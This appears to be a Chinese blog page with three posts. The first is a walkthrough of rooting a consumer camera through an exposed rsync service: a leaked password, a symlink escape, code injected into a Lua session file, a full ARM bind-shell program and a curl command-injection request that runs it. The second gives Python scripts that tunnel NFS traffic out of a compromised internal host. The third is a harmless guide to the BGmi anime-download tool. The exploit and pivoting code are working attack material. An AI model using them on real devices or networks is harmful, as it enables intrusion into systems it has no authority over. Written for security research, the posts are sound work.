Pwn A Camera Step by Step (Web ver.)

闲来无事,买了一个某品牌的摄像头来 pwn 着玩(到货第二天就忙成狗了,flag 真是立的飞起)。
本想挖一挖二进制方面的漏洞,但是死性不改的看了下 Web,通过一个完整的攻击链获取到这款摄像头的 root 权限,感觉还是很有意思的。

0x00

配置好摄像头连上内网后,首先习惯性的用 nmap 扫描了一下端口。

>>> ~ nmap 192.168.1.101 -n -v --open

Starting Nmap 7.12 ( https://nmap.org ) at 2016-11-01 12:13 CST
Initiating Ping Scan at 12:13
Scanning 192.168.1.101 [2 ports]
Completed Ping Scan at 12:13, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:13
Scanning 192.168.1.101 [1000 ports]
Discovered open port 80/tcp on 192.168.1.101
Discovered open port 554/tcp on 192.168.1.101
Discovered open port 873/tcp on 192.168.1.101
Discovered open port 52869/tcp on 192.168.1.101
Completed Connect Scan at 12:13, 0.35s elapsed (1000 total ports)
Nmap scan report for 192.168.1.101
Host is up (0.051s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
873/tcp   open  rsync
52869/tcp open  unknown

Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

除了 554、80,居然发现了一个 873 端口。873 是 rsync 的端口,一个摄像头居然开启了这个端口,感觉到十分的费解。
查看了下 rsync 的目录,发现有密码,暂时搁置。

>>> ~ rsync 192.168.1.101::                                                                             12:22:03

usb             rsync_mgr
nas             rsync_mgr
>>> ~ rsync 192.168.1.101::nas                                                                          12:22:06

Password:
@ERROR: auth failed on module nas
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

Web 端黑盒没有分析出漏洞,同样暂时搁置。
不过暂时发现有意思的一点,这个摄像头可以挂载 NFS。

0x01

下面着手分析固件。
在官网下载固件后,用 firmware-mod-kit 解包。

/home/httpd 存放着 Web 所有的文件,是 lua 字节码。file 一下发现是 lua-5.1 版本的。
利用 unluac.jar 解码得到 Web 源码。
本以为会有命令执行等漏洞,因为会有 NFS 挂载的过程。但是并没有找到所谓的漏洞存在。
同时看了下 rsync 配置文件,发现密码为 ILove****

但是尝试查看内容的时候提示 chdir faild,难道说这个文件不存在?

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

@ERROR: chdir failed
rsync error: error starting client-server protocol (code 5) at /BuildRoot/Library/Caches/com.apple.xbs/Sources/rsync/rsync-51/rsync/main.c(1402) [receiver=2.6.9]

突然有个猜想划过脑海。于是我搭建了一个 NFS 服务器,然后配置好摄像头 NFS:

再次运行 rsync:

>>> ~/D/httpd rsync rsync@192.168.1.101::nas --password-file /tmp/p

drwxrwxrwx        4096 2016/11/01 12:35:47 .
drwxr-xr-x        4096 2016/11/01 12:35:47 HN1A009G9M12857

Bingo!

0x02

rsync 目录限制在 /mnt/netsrv/nas 了,如何绕过呢。
symbolic link 来帮你_(:3」∠)_
愚蠢的 rsync 并没有设置 chroot,于是我可以直接创建一个指向 / 的符号链接,然后可以访问任意目录。

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/

drwxr-xr-x         216 2016/07/23 11:28:55 .
lrwxrwxrwx          11 2016/07/23 11:28:43 linuxrc
lrwxrwxrwx           9 2016/07/23 11:28:55 tmp
drwxr-xr-x         971 2016/07/23 11:28:56 bin
drwxrwxrwt       10620 1970/01/01 08:00:10 dev
drwxr-xr-x         603 2016/07/23 11:28:55 etc
drwxr-xr-x          28 2016/07/23 11:28:43 home
drwxr-xr-x        1066 2016/07/23 11:28:56 lib
drwxr-xr-x          60 2016/07/23 11:27:31 mnt
dr-xr-xr-x           0 1970/01/01 08:00:00 proc
drwxr-xr-x         212 2016/07/23 11:28:56 product
drwxr-xr-x           3 2016/07/23 11:27:31 root
drwxr-xr-x         250 2016/07/23 11:28:43 sbin
drwxr-xr-x           0 1970/01/01 08:00:01 sys
drwxr-xr-x          38 2016/07/23 11:27:31 usr
drwxr-xr-x          50 2016/07/23 11:28:55 var

正当我愉快的打算 rsync 一个 lua 的 shell 到上面时,却发现除了 /tmp/,整个文件系统都不可写。
嘛,没关系,我们还有 Web 源码可以看。

local initsession = function()
  local sess_id = cgilua.remote_addr
  if sess_id == nil or sess_id == "" then
    g_logger:warn("sess_id error")
    return
  end
  g_logger:debug("sess_id = " .. sess_id)
  setsessiondir(_G.CGILUA_TMP)
  local timeout = 300
  local t = cmapi.getinst("OBJ_USERIF_ID", "")
  if t.IF_ERRORID == 0 then
    timeout = tonumber(t.Timeout) * 60
  end
  setsessiontimeout(timeout)
  session_init(sess_id)
  return sess_id
end

initsession 函数创建了一个文件名为 IP 地址的 session,文件储存在 /tmp/lua_session

>>> ~/D/httpd rsync --password-file /tmp/p rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/lua_session/

drwxrwxr-x          60 2016/11/01 12:11:12 .
-rw-r--r--         365 2016/11/01 12:35:55 192_168_1_100.lua

同步回来,加一句 os.execute(cgilua.POST.cmd);,然后同步回去。

看起来已经成功执行了命令。但是我尝试了常见的 whoamiid 等命令,发现并不存在,通过 sh 反弹 shell 也失败了。感觉很尴尬233333

0x03

通过收集部分信息得知摄像头为 ARM 架构,编写一个 ARM 的 bind shell 的 exp:

void main()
{
    asm(
    "mov %r0, $2\n"
    "mov %r1, $1\n"
    "mov %r2, $6\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $1\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    ".if 0\n"
    "mov %r0, %r6\n"
    ".endif\n"
    "mov %r1, $0x37\n"
    "mov %r7, $0x13\n"
    "mov %r1, %r1, lsl $24\n"
    "add %r1, %r7, lsl $16\n"
    "add %r1, $2\n"
    "sub %r2, %r2, %r2\n"
    "push {%r1, %r2}\n"
    "mov %r1, %sp\n"
    "mov %r2, $16\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $2\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $20\n"
    "mov %r1, $1\n"
    "mov %r0, %r6\n"
    "push {%r0, %r1}\n"
    "mov %r0, $4\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, $8\n"
    "mov %r0, %r6\n"
    "sub %r1, %r1, %r1\n"
    "sub %r2, %r2, %r2\n"
    "push {%r0, %r1, %r2}\n"
    "mov %r0, $5\n"
    "mov %r1, %sp\n"
    "svc 0x00900066\n"
    "add %sp, %sp, $12\n"
    "mov %r6, %r0\n"
    "mov %r1, $2\n"
    "1:  mov %r0, %r6\n"
    "svc 0x0090003f\n"
    "subs %r1, %r1, $1\n"
    "bpl 1b\n"
    "sub %r1, %sp, $4\n"
    "sub %r2, %r2, %r2\n"
    "mov %r3, $0x2f\n"
    "mov %r7, $0x62\n"
    "add %r3, %r7, lsl $8\n"
    "mov %r7, $0x69\n"
    "add %r3, %r7, lsl $16\n"
    "mov %r7, $0x6e\n"
    "add %r3, %r7, lsl $24\n"
    "mov %r4, $0x2f\n"
    "mov %r7, $0x73\n"
    "add %r4, %r7, lsl $8\n"
    "mov %r7, $0x68\n"
    "add %r4, %r7, lsl $16\n"
    "mov %r5, $0x73\n"
    "mov %r7, $0x68\n"
    "add %r5, %r7, lsl $8\n"
    "push {%r1, %r2, %r3, %r4, %r5}\n"
    "add %r0, %sp, $8\n"
    "add %r1, %sp, $0\n"
    "add %r2, %sp, $4\n"
    "svc 0x0090000b\n"
    );
}

编译:

arm-linux-gcc 2.c -o 2 -static

通过 rsync 扔到 /tmp 目录,然后跑起来:

rsync --password-file /tmp/p 2 rsync@192.168.1.101::nas/HN1A009G9M12857/pwn/tmp/
curl http://192.168.1.101 --data "cmd=wget%20192.168.1.100:2333/`/tmp/2%26`"

连接 4919 端口:

Pwned


Mount NFS via Proxy

在渗透测试的时候,拿到低权限服务器账号 / webshell 后进行端口扫描后发现内网服务器开启 2049 端口,也就是 NFS 服务。但是众所周知,挂载 NFS 需要 root 权限,如果是低权限账号的话并不能利用。而且无论是端口转发也好,代理也好,运行 showmount -e target 的时候总会没有回显。
为了降低渗透测试成本,还是自力更生解决掉这个问题比较好(手动比心

0x01 NFS 数据包分析

根据 RedHat 文档说明:

The portmap service under Linux maps RPC requests to the correct services. RPC processes notify portmap when they start, revealing the port number they are monitoring and the RPC program numbers they expect to serve. The client system then contacts portmap on the server with a particular RPC program number. The portmap service redirects the client to the proper port number so it can communicate with the requested service.

通过抓包,可以发现在最开始运行 showmount -e 172.23.27.39 的时候有两个 UDP 的数据包:

这个 portmap 的数据包协商了一个 RPC 端口来进行 TCP 通信,可以发现此服务器的端口为 892。
在运行 mount_nfs 172.23.27.39:/nfs /tmp/2 的时候发现不光有 2049、892 端口的流量,还有 111 端口的 TCP 流量。

那么造成代理(比如 Tunna、reGeorg,抑或是 proxychain,还有 ssh 端口转发)下 NFS 不可挂载的罪魁祸首是不是那两个 UDP 数据包呢,答案是:的确就是它的锅。

辣鸡。

那么如何解决呢?TCP 数据包我们很容易通过 ssh 端口转发、Tunna 等方法解决,这个 UDP 数据包,找一个支持 UDP 的代理就好了嘛。
看似很简单,但是如果在渗透测试中拿到低权限账号,甚至于没有 gcc 的情况下,那该怎么办呢?为了给服务器造成最低的影响,遵循最少依赖原则,自己写一个 UDP 代理即可(微笑脸

0x02 解决方案

我们假定的攻击目标为内网 172.23.27.39,现在我们控制了一台低权限服务器,然后我们还有一台外网自己控制的服务器。
两个 Python 脚本,server.py 扔在自己的服务器上,client.py 扔在渗透拿到的服务器上。
server.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieved from {0}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {0!r} to {1}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _  = sock_dst.recvfrom(65565)
    print('received: {0!r} from {1}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {0}'.format(port))

sock_src.close()
sock_dst.close()

client.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('ricterz.me', 11111)
dst_addr = ('172.23.27.39', 111)

while True:
    try:
        print('send OK to {0}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src  = sock_src.recvfrom(65565)
        print('send: {0!r} to {1}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {0!r} from {1}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

里面的端口的 IP 自己改改,加油(光速逃
然后先在自己的服务器运行 server.py,再在渗透拿到的服务器上运行 client.py,之后再在自己的服务器上运行 showmount -e 127.0.0.1
虽然它崩掉提示 rpc mount export: RPC: Unable to receive; errno = Connection refused,但是不用 care,看左边已经输出了 RPC 端口了,然后我们就用 ssh 远程端口转发大法转发一下端口_(:3」∠)_

简单明了对不对!然后再跑一次 showmount -e 127.0.0.1

发现已经可以显示出 NFS 的共享目录了(微笑
接着我们尝试挂载 /nfs 目录到 /tmp/1

成功了(微笑脸
剩下的不必多说,祝大家身体健康。

0x03 参考


BGmi - 内网看番,快人一步

一直想写一篇文章介绍 BGmi,但是又懒散。不过今天开学第一天,又闲,突发兴致来写一篇文章介绍 BGmi。

BGmi 是一个命令行下的追番工具,同时提供 Web 界面。
Github:https://github.com/RicterZ/BGmi

文章分为如下几部分:

命令行

BGmi 分为几个模块:

订阅管理

查看可添加的订阅:

bgmi cal all

没错,就是列出当季番的更新日历。
查看订阅的番(和字幕组列表):

bgmi followed list

添加 / 删除订阅:

bgmi add "香蕉喵" "怪物彈珠"
bgmi delete --name "香蕉喵" "怪物彈珠"
bgmi delete --clear-all --batch

设置 / 删除指定的字幕组:

bgmi filter "Rewrite" "千夏"
bgmi filter "Rewrite" "千夏"--remove
bgmi filter "Rewrite" --remove-all

特别需要注意的是,如果字幕组列表长这样:

Rewrite(10) 動漫國, 千夏, 星岡, NEO·QSW, 澄空.雪飄, 喵萌茶會, 光之園, TU, 極影.漫遊

,分割的是不同字幕组,用.分割的是字幕组联合发布,添加的时候以.前第一个为准。
更新订阅:

bgmi update --download

其中--download为更新完之后自动下载,不加的话只会更新集数,不会自动下载。

修改更新集数:

bgmi followed mark 槍彈辯駁3絕望篇 1

修改集数之后再bgmi update --download将会下载《槍彈辯駁3絕望篇》第 2 到最新一集。

下载管理

列出下载列表:

bgmi download list

还可以通过状态查询:

  • 0 - 未下载
  • 1 - 下载中
  • 2 - 下载完成

比如我想看未下载的列表:

bgmi download list 0

修改下载状态:
通过上述查询到下载 ID 后,比如:

>>> ~ bgmi download list 1  
Download status value: Not Downloaded: 0 / Downloading: 1 / Downloaded: 2

Downloading items:
  57. <槍彈辯駁3絕望篇: 8>

修改这个条目为已下载:

bgmi download mark 57 2

配置

列出配置:

bgmi config

修改配置:

bgmi config MAX_PAGE 3

以下为各个配置项的解释:

  • DMHY_URL:动漫花园的镜像地址,当然你可以自己搭建,墙外的话可以直接写动漫花园源站地址
  • BGMI_SAVE_PATH:下载的番的存放地址
  • BGMI_TMP_PATH:临时目录
  • MAX_PAGE:获取 Bangumi 下载条目信息的时候获取数据的页数
  • DOWNLOAD_DELEGATE:下载委托,也就是用什么下载,目前支持如下几个
  • xunleixunlei-lixian 脚本
  • aria2:用 aria2c 大法下载
  • aria2-rpc:将数据传送到 aria2c daemon 进行下载
  • BGMI_LX_PATH:xunlei-lixian 的二进制文件地址
  • ARIA2_PATH:aria2c 的二进制文件地址
  • ARIA2_RPC_URL:aria2c rpc 的 URL 地址

杂项

当季番的更新日历:

bgmi cal all --force-update

查看 BGmi 版本:

bgmi --version

BGmi HTTP Service

BGmi 搭配 xunlei-lixian 适用于个人 PC,如果想搭建在路由器 / 树莓派 / 内网的话,推荐搭配是 BGmi / bgmi_http / aria2-rpc / yaaw / nginx BGmi HTTP Service 是我用 tornado 简单的写的,搭建需要如下几步:

修改 BGmi 为 aria2-rpc 模式,并启动 aria2 daemon。
首先安装 aria2 不必多说,然后修改配置文件~/.aria2/aria2.conf

enable-rpc=true
rpc-allow-origin-all=true
rpc-listen-all=true
# 如果你想做种的话,就把下面这一句删掉
seed-time=0

然后修改 BGmi 为 aria2-rpc 模式:

bgmi config DOWNLOAD_DELEGATE aria2-rpc

接着:

  • 启动 BGmi HTTP Service:bgmi_http
  • 启动 aria2:aria2c --conf-path=/home/ricter/.aria2/aria2.conf
  • 修改 nginx 配置文件,并重新启动 nginx

因为 tornado 处理静态文件比较低效,特别是下载的番,每一个都很大。

server {
        listen 80;
        root /var/www/html/bangumi;
        autoindex on;
        charset utf8;
        server_name bangumi.ricterz.me;

        location /bangumi {
            alias /home/ricter/.bgmi/bangumi;
        }

        location /bgmi_admin {
            auth_basic "BGmi admin (yaaw)";
            auth_basic_user_file /etc/nginx/htpasswd;
            alias /var/www/html/yaaw/;
        }

        location / {
            proxy_pass http://127.0.0.1:8888;
        }

}

其中/home/ricter/.bgmi/bangumi是番的下载目录,将/bangumi请求全部 alias 到这里即可。
如果可以的话,可以用 yaaw 做一个 admin,最好设置上密码,当然如果你把 6800 端口(aria2 daemon)绑定在 0.0.0.0 话,基本什么用了...
讲道理,安全的方法是将 6800 端口绑定在 127.0.0.1,然后 nginx 配置里添加一句:

    location /some_secret_path {
        proxy_pass http://127.0.0.1:6800;
   }

然后 yaaw 里配置 daemon 地址到这里即可。
然后就可以享受内网极速看番的乐趣了 XD

下面是重邮校内 Bangumi 服务,前端我做了一点修改,当然你也可以自己做一套前端啦。

http://ww1.sinaimg.cn/large/b55b6a91gw1f7hqstmlqmj21iw0ztttq.jpg